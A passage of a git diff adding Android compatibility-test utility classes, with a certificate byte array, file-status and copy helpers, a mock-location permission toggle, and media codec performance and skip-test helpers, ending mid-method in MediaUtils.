+            (byte) 0xb2, (byte) 0xa3, (byte) 0x4b, (byte) 0x0f, (byte) 0x32, (byte) 0x90,
+            (byte) 0xaf, (byte) 0x5c, (byte) 0x6f, (byte) 0x00, (byte) 0x88, (byte) 0x45,
+            (byte) 0x4e, (byte) 0x9b, (byte) 0x26, (byte) 0xc1, (byte) 0x94, (byte) 0x3c,
+            (byte) 0xfe, (byte) 0x10, (byte) 0xbd, (byte) 0xda, (byte) 0xf2, (byte) 0x8d,
+            (byte) 0x03, (byte) 0x52, (byte) 0x32, (byte) 0x11, (byte) 0xff, (byte) 0xf6,
+            (byte) 0xf9, (byte) 0x6e, (byte) 0x8f, (byte) 0x0f, (byte) 0xc8, (byte) 0x0a,
+            (byte) 0x48, (byte) 0x39, (byte) 0x33, (byte) 0xb9, (byte) 0x0c, (byte) 0xb3,
+            (byte) 0x2b, (byte) 0xab, (byte) 0x7d, (byte) 0x79, (byte) 0x6f, (byte) 0x57,
+            (byte) 0x5b, (byte) 0xb8, (byte) 0x84, (byte) 0xb6, (byte) 0xcc, (byte) 0xe8,
+            (byte) 0x30, (byte) 0x78, (byte) 0xff, (byte) 0x92, (byte) 0xe5, (byte) 0x43,
+            (byte) 0x2e, (byte) 0xef, (byte) 0x66, (byte) 0x98, (byte) 0xb4, (byte) 0xfe,
+            (byte) 0xa2, (byte) 0x40, (byte) 0xf2, (byte) 0x1f, (byte) 0xd0, (byte) 0x86,
+            (byte) 0x16, (byte) 0xc8, (byte) 0x45, (byte) 0xc4, (byte) 0x52, (byte) 0xcb,
+            (byte) 0x31, (byte) 0x5c, (byte) 0x9f, (byte) 0x32, (byte) 0x3b, (byte) 0xf7,
+            (byte) 0x19, (byte) 0x08, (byte) 0xc7, (byte) 0x00, (byte) 0x21, (byte) 0x7d,
+            (byte) 0x02, (byte) 0x03, (byte) 0x01, (byte) 0x00, (byte) 0x01, (byte) 0xa3,
+            (byte) 0x50, (byte) 0x30, (byte) 0x4e, (byte) 0x30, (byte) 0x1d, (byte) 0x06,
+            (byte) 0x03, (byte) 0x55, (byte) 0x1d, (byte) 0x0e, (byte) 0x04, (byte) 0x16,
+            (byte) 0x04, (byte) 0x14, (byte) 0x47, (byte) 0x82, (byte) 0xa3, (byte) 0xf1,
+            (byte) 0xc2, (byte) 0x7e, (byte) 0x3a, (byte) 0xde, (byte) 0x4f, (byte) 0x30,
+            (byte) 0x4c, (byte) 0x7f, (byte) 0x72, (byte) 0x81, (byte) 0x15, (byte) 0x32,
+            (byte) 0xda, (byte) 0x7f, (byte) 0x58, (byte) 0x18, (byte) 0x30, (byte) 0x1f,
+            (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x1d, (byte) 0x23, (byte) 0x04,
+            (byte) 0x18, (byte) 0x30, (byte) 0x16, (byte) 0x80, (byte) 0x14, (byte) 0x47,
+            (byte) 0x82, (byte) 0xa3, (byte) 0xf1, (byte) 0xc2, (byte) 0x7e, (byte) 0x3a,
+            (byte) 0xde, (byte) 0x4f, (byte) 0x30, (byte) 0x4c, (byte) 0x7f, (byte) 0x72,
+            (byte) 0x81, (byte) 0x15, (byte) 0x32, (byte) 0xda, (byte) 0x7f, (byte) 0x58,
+            (byte) 0x18, (byte) 0x30, (byte) 0x0c, (byte) 0x06, (byte) 0x03, (byte) 0x55,
+            (byte) 0x1d, (byte) 0x13, (byte) 0x04, (byte) 0x05, (byte) 0x30, (byte) 0x03,
+            (byte) 0x01, (byte) 0x01, (byte) 0xff, (byte) 0x30, (byte) 0x0d, (byte) 0x06,
+            (byte) 0x09, (byte) 0x2a, (byte) 0x86, (byte) 0x48, (byte) 0x86, (byte) 0xf7,
+            (byte) 0x0d, (byte) 0x01, (byte) 0x01, (byte) 0x05, (byte) 0x05, (byte) 0x00,
+            (byte) 0x03, (byte) 0x81, (byte) 0x81, (byte) 0x00, (byte) 0x08, (byte) 0x7f,
+            (byte) 0x6a, (byte) 0x48, (byte) 0x90, (byte) 0x7b, (byte) 0x9b, (byte) 0x72,
+            (byte) 0x13, (byte) 0xa7, (byte) 0xef, (byte) 0x6b, (byte) 0x0b, (byte) 0x59,
+            (byte) 0xe5, (byte) 0x49, (byte) 0x72, (byte) 0x3a, (byte) 0xc8, (byte) 0x84,
+            (byte) 0xcc, (byte) 0x23, (byte) 0x18, (byte) 0x4c, (byte) 0xec, (byte) 0xc7,
+            (byte) 0xef, (byte) 0xcb, (byte) 0xa7, (byte) 0xbe, (byte) 0xe4, (byte) 0xef,
+            (byte) 0x8f, (byte) 0xc6, (byte) 0x06, (byte) 0x8c, (byte) 0xc0, (byte) 0xe4,
+            (byte) 0x2f, (byte) 0x2a, (byte) 0xc0, (byte) 0x35, (byte) 0x7d, (byte) 0x5e,
+            (byte) 0x19, (byte) 0x29, (byte) 0x8c, (byte) 0xb9, (byte) 0xf1, (byte) 0x1e,
+            (byte) 0xaf, (byte) 0x82, (byte) 0xd8, (byte) 0xe3, (byte) 0x88, (byte) 0xe1,
+            (byte) 0x31, (byte) 0xc8, (byte) 0x82, (byte) 0x1f, (byte) 0x83, (byte) 0xa9,
+            (byte) 0xde, (byte) 0xfe, (byte) 0x4b, (byte) 0xe2, (byte) 0x78, (byte) 0x64,
+            (byte) 0xed, (byte) 0xa4, (byte) 0x7b, (byte) 0xee, (byte) 0x8d, (byte) 0x71,
+            (byte) 0x1b, (byte) 0x44, (byte) 0xe6, (byte) 0xb7, (byte) 0xe8, (byte) 0xc5,
+            (byte) 0x9a, (byte) 0x93, (byte) 0x92, (byte) 0x6f, (byte) 0x6f, (byte) 0xdb,
+            (byte) 0xbd, (byte) 0xd7, (byte) 0x03, (byte) 0x85, (byte) 0xa9, (byte) 0x5f,
+            (byte) 0x53, (byte) 0x5f, (byte) 0x5d, (byte) 0x30, (byte) 0xc6, (byte) 0xd9,
+            (byte) 0xce, (byte) 0x34, (byte) 0xa8, (byte) 0xbe, (byte) 0x31, (byte) 0x47,
+            (byte) 0x1c, (byte) 0xa4, (byte) 0x7f, (byte) 0xc0, (byte) 0x2c, (byte) 0xbc,
+            (byte) 0xfe, (byte) 0x1a, (byte) 0x31, (byte) 0xd8, (byte) 0x77, (byte) 0x4d,
+            (byte) 0xfc, (byte) 0x45, (byte) 0x84, (byte) 0xfc, (byte) 0x45, (byte) 0x12,
+            (byte) 0xab, (byte) 0x50, (byte) 0xe4, (byte) 0x45, (byte) 0xe5, (byte) 0x11
+        };
+    }
+}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/FileCopyHelper.java b/common/device-side/util/src/com/android/compatibility/common/util/FileCopyHelper.java
index 02be372..f58dbd0 100644
--- a/common/device-side/util/src/com/android/compatibility/common/util/FileCopyHelper.java
+++ b/common/device-side/util/src/com/android/compatibility/common/util/FileCopyHelper.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2014 The Android Open Source Project
+ * Copyright (C) 2009 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -26,8 +26,8 @@
 import java.util.ArrayList;
 
 /**
- * FileCopyHelper is used to copy files from resources to the application directory and responsible
- * for deleting the files.
+ * FileCopyHelper is used to copy files from resources to the
+ * application directory and responsible for deleting the files.
  *
  * @see MediaStore_VideoTest
  * @see MediaStore_Images_MediaTest
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/FileUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/FileUtils.java
new file mode 100644
index 0000000..ceada01
--- /dev/null
+++ b/common/device-side/util/src/com/android/compatibility/common/util/FileUtils.java
@@ -0,0 +1,163 @@
+/*
+ * Copyright (C) 2011 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+
+/** Bits and pieces copied from hidden API of android.os.FileUtils. */
+public class FileUtils {
+
+    public static final int S_IFMT  = 0170000;
+    public static final int S_IFSOCK = 0140000;
+    public static final int S_IFLNK = 0120000;
+    public static final int S_IFREG = 0100000;
+    public static final int S_IFBLK = 0060000;
+    public static final int S_IFDIR = 0040000;
+    public static final int S_IFCHR = 0020000;
+    public static final int S_IFIFO = 0010000;
+
+    public static final int S_ISUID = 0004000;
+    public static final int S_ISGID = 0002000;
+    public static final int S_ISVTX = 0001000;
+
+    public static final int S_IRWXU = 00700;
+    public static final int S_IRUSR = 00400;
+    public static final int S_IWUSR = 00200;
+    public static final int S_IXUSR = 00100;
+
+    public static final int S_IRWXG = 00070;
+    public static final int S_IRGRP = 00040;
+    public static final int S_IWGRP = 00020;
+    public static final int S_IXGRP = 00010;
+
+    public static final int S_IRWXO = 00007;
+    public static final int S_IROTH = 00004;
+    public static final int S_IWOTH = 00002;
+    public static final int S_IXOTH = 00001;
+
+    static {
+        System.loadLibrary("cts_jni");
+    }
+
+    public static class FileStatus {
+
+        public int dev;
+        public int ino;
+        public int mode;
+        public int nlink;
+        public int uid;
+        public int gid;
+        public int rdev;
+        public long size;
+        public int blksize;
+        public long blocks;
+        public long atime;
+        public long mtime;
+        public long ctime;
+
+        public boolean hasModeFlag(int flag) {
+            if (((S_IRWXU | S_IRWXG | S_IRWXO) & flag) != flag) {
+                throw new IllegalArgumentException("Inappropriate flag " + flag);
+            }
+            return (mode & flag) == flag;
+        }
+
+        public boolean isOfType(int type) {
+            if ((type & S_IFMT) != type) {
+                throw new IllegalArgumentException("Unknown type " + type);
+            }
+            return (mode & S_IFMT) == type;
+        }
+    }
+
+    /**
+     * @param path of the file to stat
+     * @param status object to set the fields on
+     * @param statLinks or don't stat links (lstat vs stat)
+     * @return whether or not we were able to stat the file
+     */
+    public native static boolean getFileStatus(String path, FileStatus status, boolean statLinks);
+
+    public native static String getUserName(int uid);
+
+    public native static String getGroupName(int gid);
+
+    public native static int setPermissions(String file, int mode);
+
+    /**
+     * Copy data from a source stream to destFile.
+     * Return true if succeed, return false if failed.
+     */
+    public static boolean copyToFile(InputStream inputStream, File destFile) {
+        try {
+            if (destFile.exists()) {
+                destFile.delete();
+            }
+            FileOutputStream out = new FileOutputStream(destFile);
+            try {
+                byte[] buffer = new byte[4096];
+                int bytesRead;
+                while ((bytesRead = inputStream.read(buffer)) >= 0) {
+                    out.write(buffer, 0, bytesRead);
+                }
+            } finally {
+                out.flush();
+                try {
+                    out.getFD().sync();
+                } catch (IOException e) {
+                }
+                out.close();
+            }
+            return true;
+        } catch (IOException e) {
+            return false;
+        }
+    }
+
+    public static void createFile(File file, int numBytes) throws IOException {
+        File parentFile = file.getParentFile();
+        if (parentFile != null) {
+            parentFile.mkdirs();
+        }
+        byte[] buffer = new byte[numBytes];
+        FileOutputStream output = new FileOutputStream(file);
+        try {
+            output.write(buffer);
+        } finally {
+            output.close();
+        }
+    }
+
+    public static byte[] readInputStreamFully(InputStream is) {
+        ByteArrayOutputStream os = new ByteArrayOutputStream();
+        byte[] buffer = new byte[32768];
+        int count;
+        try {
+            while ((count = is.read(buffer)) != -1) {
+                os.write(buffer, 0, count);
+            }
+            is.close();
+        } catch (IOException e) {
+            throw new RuntimeException(e);
+        }
+        return os.toByteArray();
+    }
+}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/IBinderParcelable.java b/common/device-side/util/src/com/android/compatibility/common/util/IBinderParcelable.java
new file mode 100644
index 0000000..f3c53fe
--- /dev/null
+++ b/common/device-side/util/src/com/android/compatibility/common/util/IBinderParcelable.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+import android.os.IBinder;
+import android.os.Parcel;
+import android.os.Parcelable;
+
+public class IBinderParcelable implements Parcelable {
+    public IBinder binder;
+
+    public IBinderParcelable(IBinder source) {
+        binder = source;
+    }
+
+    public int describeContents() {
+        return 0;
+    }
+
+    public void writeToParcel(Parcel dest, int flags) {
+        dest.writeStrongBinder(binder);
+    }
+
+    public static final Parcelable.Creator<IBinderParcelable>
+        CREATOR = new Parcelable.Creator<IBinderParcelable>() {
+
+        public IBinderParcelable createFromParcel(Parcel source) {
+            return new IBinderParcelable(source);
+        }
+
+        public IBinderParcelable[] newArray(int size) {
+            return new IBinderParcelable[size];
+        }
+    };
+
+    private IBinderParcelable(Parcel source) {
+        binder = source.readStrongBinder();
+    }
+}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/LocationUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/LocationUtils.java
new file mode 100644
index 0000000..f233851
--- /dev/null
+++ b/common/device-side/util/src/com/android/compatibility/common/util/LocationUtils.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.compatibility.common.util;
+
+import android.app.Instrumentation;
+import android.util.Log;
+
+import java.io.IOException;
+
+public class LocationUtils {
+    private static String TAG = "LocationUtils";
+
+    public static void registerMockLocationProvider(Instrumentation instrumentation,
+            boolean enable) {
+        StringBuilder command = new StringBuilder();
+        command.append("appops set ");
+        command.append(instrumentation.getContext().getPackageName());
+        command.append(" android:mock_location ");
+        command.append(enable ? "allow" : "deny");
+        try {
+            SystemUtil.runShellCommand(instrumentation, command.toString());
+        } catch (IOException e) {
+            Log.e(TAG, "Error managing mock location app. Command: " + command, e);
+        }
+    }
+}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/MediaPerfUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/MediaPerfUtils.java
new file mode 100644
index 0000000..469e99a
--- /dev/null
+++ b/common/device-side/util/src/com/android/compatibility/common/util/MediaPerfUtils.java
@@ -0,0 +1,176 @@
+/*
+ * Copyright 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+import android.media.MediaFormat;
+import android.util.Range;
+
+import com.android.compatibility.common.util.DeviceReportLog;
+import com.android.compatibility.common.util.ResultType;
+import com.android.compatibility.common.util.ResultUnit;
+
+import java.util.Arrays;
+import android.util.Log;
+
+public class MediaPerfUtils {
+    private static final String TAG = "MediaPerfUtils";
+
+    private static final int MOVING_AVERAGE_NUM_FRAMES = 10;
+    private static final int MOVING_AVERAGE_WINDOW_MS = 1000;
+
+    // allow a variance of 2x for measured frame rates (e.g. half of lower-limit to double of
+    // upper-limit of the published values). Also allow an extra 10% margin. This also acts as
+    // a limit for the size of the published rates (e.g. upper-limit / lower-limit <= tolerance).
+    private static final double FRAMERATE_TOLERANCE = 2.0 * 1.1;
+
+    /*
+     *  ------------------ HELPER METHODS FOR ACHIEVABLE FRAME RATES ------------------
+     */
+
+    /** removes brackets from format to be included in JSON. */
+    private static String formatForReport(MediaFormat format) {
+        String asString = "" + format;
+        return asString.substring(1, asString.length() - 1);
+    }
+
+    /**
+     * Adds performance header info to |log| for |codecName|, |round|, |configFormat|, |inputFormat|
+     * and |outputFormat|. Also appends same to |message| and returns the resulting base message
+     * for logging purposes.
+     */
+    public static String addPerformanceHeadersToLog(
+            DeviceReportLog log, String message, int round, String codecName,
+            MediaFormat configFormat, MediaFormat inputFormat, MediaFormat outputFormat) {
+        String mime = configFormat.getString(MediaFormat.KEY_MIME);
+        int width = configFormat.getInteger(MediaFormat.KEY_WIDTH);
+        int height = configFormat.getInteger(MediaFormat.KEY_HEIGHT);
+
+        log.addValue("round", round, ResultType.NEUTRAL, ResultUnit.NONE);
+        log.addValue("codec_name", codecName, ResultType.NEUTRAL, ResultUnit.NONE);
+        log.addValue("mime_type", mime, ResultType.NEUTRAL, ResultUnit.NONE);
+        log.addValue("width", width, ResultType.NEUTRAL, ResultUnit.NONE);
+        log.addValue("height", height, ResultType.NEUTRAL, ResultUnit.NONE);
+        log.addValue("config_format", formatForReport(configFormat),
+                ResultType.NEUTRAL, ResultUnit.NONE);
+        log.addValue("input_format", formatForReport(inputFormat),
+                ResultType.NEUTRAL, ResultUnit.NONE);
+        log.addValue("output_format", formatForReport(outputFormat),
+                ResultType.NEUTRAL, ResultUnit.NONE);
+
+        message += " codec=" + codecName + " round=" + round + " configFormat=" + configFormat
+                + " inputFormat=" + inputFormat + " outputFormat=" + outputFormat;
+
+        Range<Double> reported =
+            MediaUtils.getVideoCapabilities(codecName, mime)
+                    .getAchievableFrameRatesFor(width, height);
+        if (reported != null) {
+            log.addValue("reported_low", reported.getLower(), ResultType.NEUTRAL, ResultUnit.FPS);
+            log.addValue("reported_high", reported.getUpper(), ResultType.NEUTRAL, ResultUnit.FPS);
+            message += " reported=" + reported.getLower() + "-" + reported.getUpper();
+        }
+
+        return message;
+    }
+
+    /**
+     * Adds performance statistics based on the raw |stats| to |log|. Also prints the same into
+     * logcat. Returns the "final fps" value.
+     */
+    public static double addPerformanceStatsToLog(
+            DeviceReportLog log, MediaUtils.Stats durationsUsStats, String message) {
+
+        MediaUtils.Stats frameAvgUsStats =
+            durationsUsStats.movingAverage(MOVING_AVERAGE_NUM_FRAMES);
+        log.addValue(
+                "window_frames", MOVING_AVERAGE_NUM_FRAMES, ResultType.NEUTRAL, ResultUnit.COUNT);
+        logPerformanceStats(log, frameAvgUsStats, "frame_avg_stats",
+                message + " window=" + MOVING_AVERAGE_NUM_FRAMES);
+
+        MediaUtils.Stats timeAvgUsStats =
+            durationsUsStats.movingAverageOverSum(MOVING_AVERAGE_WINDOW_MS * 1000);
+        log.addValue("window_time", MOVING_AVERAGE_WINDOW_MS, ResultType.NEUTRAL, ResultUnit.MS);
+        double fps = logPerformanceStats(log, timeAvgUsStats, "time_avg_stats",
+                message + " windowMs=" + MOVING_AVERAGE_WINDOW_MS);
+
+        log.setSummary("fps", fps, ResultType.HIGHER_BETTER, ResultUnit.FPS);
+        return fps;
+    }
+
+    /**
+     * Adds performance statistics based on the processed |stats| to |log| using |prefix|.
+     * Also prints the same into logcat using |message| as the base message. Returns the fps value
+     * for |stats|. |prefix| must be lowercase alphanumeric underscored format.
+     */
+    private static double logPerformanceStats(
+            DeviceReportLog log, MediaUtils.Stats statsUs, String prefix, String message) {
+        final String[] labels = {
+            "min", "p5", "p10", "p20", "p30", "p40", "p50", "p60", "p70", "p80", "p90", "p95", "max"
+        };
+        final double[] points = {
+             0,     5,    10,    20,    30,    40,    50,    60,    70,    80,    90,    95,    100
+        };
+
+        int num = statsUs.getNum();
+        long avg = Math.round(statsUs.getAverage());
+        long stdev = Math.round(statsUs.getStdev());
+        log.addValue(prefix + "_num", num, ResultType.NEUTRAL, ResultUnit.COUNT);
+        log.addValue(prefix + "_avg", avg / 1000., ResultType.LOWER_BETTER, ResultUnit.MS);
+        log.addValue(prefix + "_stdev", stdev / 1000., ResultType.LOWER_BETTER, ResultUnit.MS);
+        message += " num=" + num + " avg=" + avg + " stdev=" + stdev;
+        final double[] percentiles = statsUs.getPercentiles(points);
+        for (int i = 0; i < labels.length; ++i) {
+            long p = Math.round(percentiles[i]);
+            message += " " + labels[i] + "=" + p;
+            log.addValue(prefix + "_" + labels[i], p / 1000., ResultType.NEUTRAL, ResultUnit.MS);
+        }
+
+        // print result to logcat in case test aborts before logs are written
+        Log.i(TAG, message);
+
+        return 1e6 / percentiles[points.length - 2];
+    }
+
+    /** Verifies |measuredFps| against reported achievable rates. Returns null if at least
+     *  one measurement falls within the margins of the reported range. Otherwise, returns
+     *  an error message to display.*/
+    public static String verifyAchievableFrameRates(
+            String name, String mime, int w, int h, double... measuredFps) {
+        Range<Double> reported =
+            MediaUtils.getVideoCapabilities(name, mime).getAchievableFrameRatesFor(w, h);
+        String kind = "achievable frame rates for " + name + " " + mime + " " + w + "x" + h;
+        if (reported == null) {
+            return "Failed to get " + kind;
+        }
+        double lowerBoundary1 = reported.getLower() / FRAMERATE_TOLERANCE;
+        double upperBoundary1 = reported.getUpper() * FRAMERATE_TOLERANCE;
+        double lowerBoundary2 = reported.getUpper() / Math.pow(FRAMERATE_TOLERANCE, 2);
+        double upperBoundary2 = reported.getLower() * Math.pow(FRAMERATE_TOLERANCE, 2);
+        Log.d(TAG, name + " " + mime + " " + w + "x" + h +
+                " lowerBoundary1 " + lowerBoundary1 + " upperBoundary1 " + upperBoundary1 +
+                " lowerBoundary2 " + lowerBoundary2 + " upperBoundary2 " + upperBoundary2 +
+                " measured " + Arrays.toString(measuredFps));
+
+        for (double measured : measuredFps) {
+            if (measured >= lowerBoundary1 && measured <= upperBoundary1
+                    && measured >= lowerBoundary2 && measured <= upperBoundary2) {
+                return null;
+            }
+        }
+
+        return "Expected " + kind + ": " + reported + ".\n"
+                + "Measured frame rate: " + Arrays.toString(measuredFps) + ".\n";
+    }
+}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/MediaUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/MediaUtils.java
new file mode 100644
index 0000000..1727a3a
--- /dev/null
+++ b/common/device-side/util/src/com/android/compatibility/common/util/MediaUtils.java
@@ -0,0 +1,1214 @@
+/*
+ * Copyright 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+import android.content.Context;
+import android.content.res.AssetFileDescriptor;
+import android.drm.DrmConvertedStatus;
+import android.drm.DrmManagerClient;
+import android.graphics.ImageFormat;
+import android.media.Image;
+import android.media.Image.Plane;
+import android.media.MediaCodec;
+import android.media.MediaCodec.BufferInfo;
+import android.media.MediaCodecInfo;
+import android.media.MediaCodecInfo.CodecCapabilities;
+import android.media.MediaCodecInfo.VideoCapabilities;
+import android.media.MediaCodecList;
+import android.media.MediaExtractor;
+import android.media.MediaFormat;
+import android.net.Uri;
+import android.util.Log;
+import android.util.Range;
+
+import com.android.compatibility.common.util.DeviceReportLog;
+import com.android.compatibility.common.util.ResultType;
+import com.android.compatibility.common.util.ResultUnit;
+
+import java.lang.reflect.Method;
+import java.nio.ByteBuffer;
+import java.security.MessageDigest;
+
+import static java.lang.reflect.Modifier.isPublic;
+import static java.lang.reflect.Modifier.isStatic;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+import java.util.Map;
+
+import static junit.framework.Assert.assertTrue;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.RandomAccessFile;
+
+public class MediaUtils {
+    private static final String TAG = "MediaUtils";
+
+    /*
+     *  ----------------------- HELPER METHODS FOR SKIPPING TESTS -----------------------
+     */
+    private static final int ALL_AV_TRACKS = -1;
+
+    private static final MediaCodecList sMCL = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+
+    /**
+     * Returns the test name (heuristically).
+     *
+     * Since it uses heuristics, this method has only been verified for media
+     * tests. This centralizes the way to signal errors during a test.
+     */
+    public static String getTestName() {
+        return getTestName(false /* withClass */);
+    }
+
+    /**
+     * Returns the test name with the full class (heuristically).
+     *
+     * Since it uses heuristics, this method has only been verified for media
+     * tests. This centralizes the way to signal errors during a test.
+     */
+    public static String getTestNameWithClass() {
+        return getTestName(true /* withClass */);
+    }
+
+    private static String getTestName(boolean withClass) {
+        int bestScore = -1;
+        String testName = "test???";
+        Map<Thread, StackTraceElement[]> traces = Thread.getAllStackTraces();
+        for (Map.Entry<Thread, StackTraceElement[]> entry : traces.entrySet()) {
+            StackTraceElement[] stack = entry.getValue();
+            for (int index = 0; index < stack.length; ++index) {
+                // method name must start with "test"
+                String methodName = stack[index].getMethodName();
+                if (!methodName.startsWith("test")) {
+                    continue;
+                }
+
+                int score = 0;
+                // see if there is a public non-static void method that takes no argument
+                Class<?> clazz;
+                try {
+                    clazz = Class.forName(stack[index].getClassName());
+                    ++score;
+                    for (final Method method : clazz.getDeclaredMethods()) {
+                        if (method.getName().equals(methodName)
+                                && isPublic(method.getModifiers())
+                                && !isStatic(method.getModifiers())
+                                && method.getParameterTypes().length == 0
+                                && method.getReturnType().equals(Void.TYPE)) {
+                            ++score;
+                            break;
+                        }
+                    }
+                    if (score == 1) {
+                        // if we could read the class, but method is not public void, it is
+                        // not a candidate
+                        continue;
+                    }
+                } catch (ClassNotFoundException e) {
+                }
+
+                // even if we cannot verify the method signature, there are signals in the stack
+
+                // usually test method is invoked by reflection
+                int depth = 1;
+                while (index + depth < stack.length
+                        && stack[index + depth].getMethodName().equals("invoke")
+                        && stack[index + depth].getClassName().equals(
+                                "java.lang.reflect.Method")) {
+                    ++depth;
+                }
+                if (depth > 1) {
+                    ++score;
+                    // and usually test method is run by runMethod method in android.test package
+                    if (index + depth < stack.length) {
+                        if (stack[index + depth].getClassName().startsWith("android.test.")) {
+                            ++score;
+                        }
+                        if (stack[index + depth].getMethodName().equals("runMethod")) {
+                            ++score;
+                        }
+                    }
+                }
+
+                if (score > bestScore) {
+                    bestScore = score;
+                    testName = methodName;
+                    if (withClass) {
+                        testName = stack[index].getClassName() + "." + testName;
+                    }
+                }
+            }
+        }
+        return testName;
+    }
+
+    /**
+     * Finds test name (heuristically) and prints out standard skip message.
+     *
+     * Since it uses heuristics, this method has only been verified for media
+     * tests. This centralizes the way to signal a skipped test.
+     */
+    public static void skipTest(String tag, String reason) {
+        Log.i(tag, "SKIPPING " + getTestName() + "(): " + reason);
+        DeviceReportLog log = new DeviceReportLog("CtsMediaSkippedTests", "test_skipped");
+        try {
+            log.addValue("reason", reason, ResultType.NEUTRAL, ResultUnit.NONE);
+            log.addValue(
+                    "test", getTestNameWithClass(), ResultType.NEUTRAL, ResultUnit.NONE);
+            log.submit();
+        } catch (NullPointerException e) { }
+    }
+
+    /**
+     * Finds test name (heuristically) and prints out standard skip message.
+     *
+     * Since it uses heuristics, this method has only been verified for media
+     * tests.  This centralizes the way to signal a skipped test.
+     */
+    public static void skipTest(String reason) {
+        skipTest(TAG, reason);
+    }
+
+    public static boolean check(boolean result, String message) {
+        if (!result) {
+            skipTest(message);
+        }
+        return result;
+    }
+
+    /*
+     *  ------------------- HELPER METHODS FOR CHECKING CODEC SUPPORT -------------------
+     */
+
+    // returns the list of codecs that support any one of the formats
+    private static String[] getCodecNames(
+            boolean isEncoder, Boolean isGoog, MediaFormat... formats) {
+        MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+        ArrayList<String> result = new ArrayList<>();
+        for (MediaCodecInfo info : mcl.getCodecInfos()) {
+            if (info.isEncoder() != isEncoder) {
+                continue;
+            }
+            if (isGoog != null
+                    && info.getName().toLowerCase().startsWith("omx.google.") != isGoog) {
+                continue;
+            }
+
+            for (MediaFormat format : formats) {
+                String mime = format.getString(MediaFormat.KEY_MIME);
+
+                CodecCapabilities caps = null;
+                try {
+                    caps = info.getCapabilitiesForType(mime);
+                } catch (IllegalArgumentException e) {  // mime is not supported
+                    continue;
+                }
+                if (caps.isFormatSupported(format)) {
+                    result.add(info.getName());
+                    break;
+                }
+            }
+        }
+        return result.toArray(new String[result.size()]);
+    }
+
+    /* Use isGoog = null to query all decoders */
+    public static String[] getDecoderNames(/* Nullable */ Boolean isGoog, MediaFormat... formats) {
+        return getCodecNames(false /* isEncoder */, isGoog, formats);
+    }
+
+    public static String[] getDecoderNames(MediaFormat... formats) {
+        return getCodecNames(false /* isEncoder */, null /* isGoog */, formats);
+    }
+
+    /* Use isGoog = null to query all decoders */
+    public static String[] getEncoderNames(/* Nullable */ Boolean isGoog, MediaFormat... formats) {
+        return getCodecNames(true /* isEncoder */, isGoog, formats);
+    }
+
+    public static String[] getEncoderNames(MediaFormat... formats) {
+        return getCodecNames(true /* isEncoder */, null /* isGoog */, formats);
+    }
+
+    public static void verifyNumCodecs(
+            int count, boolean isEncoder, Boolean isGoog, MediaFormat... formats) {
+        String desc = (isEncoder ? "encoders" : "decoders") + " for "
+                + (formats.length == 1 ? formats[0].toString() : Arrays.toString(formats));
+        if (isGoog != null) {
+            desc = (isGoog ? "Google " : "non-Google ") + desc;
+        }
+
